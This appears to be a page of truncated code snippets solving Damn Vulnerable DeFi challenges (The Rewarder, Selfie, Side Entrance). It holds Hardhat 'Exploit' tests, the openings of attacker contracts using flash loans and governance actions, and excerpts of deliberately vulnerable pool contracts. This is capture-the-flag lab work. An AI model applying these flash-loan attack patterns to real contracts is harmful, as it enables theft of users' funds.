az0mb13

// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";

contract Mock721 is ERC721 {
    using Counters for Counters.Counter;

    Counters.Counter private _tokenIdCounter;

az0mb13

it('Exploit', async function () {
    const RewardExploit = await ethers.getContractFactory('RewardExploit', attacker);
    const exploit = await RewardExploit.deploy(attacker.address, this.flashLoanPool.address, this.liquidityToken.address, this.rewarderPool.address, this.rewardToken.address);
    await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days
    await exploit.exploit(TOKENS_IN_LENDER_POOL);
});

az0mb13

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface IFlashLoanerPool {
    function flashLoan(uint256 amount) external;
}

interface IDamnValuableToken {
    function transfer(address recipient, uint256 amount)

az0mb13

contract TheRewarderPool {

    // Minimum duration of each round of rewards in seconds
    uint256 private constant REWARDS_ROUND_MIN_DURATION = 5 days;
...
    function deposit(uint256 amountToDeposit) external {
        require(amountToDeposit > 0, "Must deposit tokens");
        
        accToken.mint(msg.sender, amountToDeposit);
        distributeRewards();

az0mb13

it('Exploit', async function () {
    const SelfieExploitFactory = await ethers.getContractFactory('SelfieExploit', attacker);
    const exploitContract = await SelfieExploitFactory.deploy(this.pool.address, attacker.address, this.governance.address);
    await exploitContract.attack(TOKENS_IN_POOL);
    await ethers.provider.send("evm_increaseTime", [2 * 24 * 60 * 60]);
    await exploitContract.execute();
});

az0mb13

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface ISelfiePool {
    function flashLoan(uint256 borrowAmount) external;
}

interface ISimpleGovernance {
    function executeAction(uint256 actionId) external payable;

az0mb13

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

...

contract SimpleGovernance {

...
    struct GovernanceAction {
        address receiver;

az0mb13

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Snapshot.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "./SimpleGovernance.sol";

/**
 * @title SelfiePool

az0mb13

it('Exploit', async function () {
    const AttackerContract = await ethers.getContractFactory("AttackerContract", attacker);
    this.exploit = await AttackerContract.deploy(await this.pool.address);
    this.exploit.connect(attacker).exploit(ETHER_IN_POOL);
});

az0mb13

contract AttackerContract {
    SideEntranceLenderPool pool;
    address payable attacker;

    constructor(address _pool) {
        pool = SideEntranceLenderPool(_pool);
        attacker = payable(msg.sender);
    }

    function exploit(uint256 amount) public {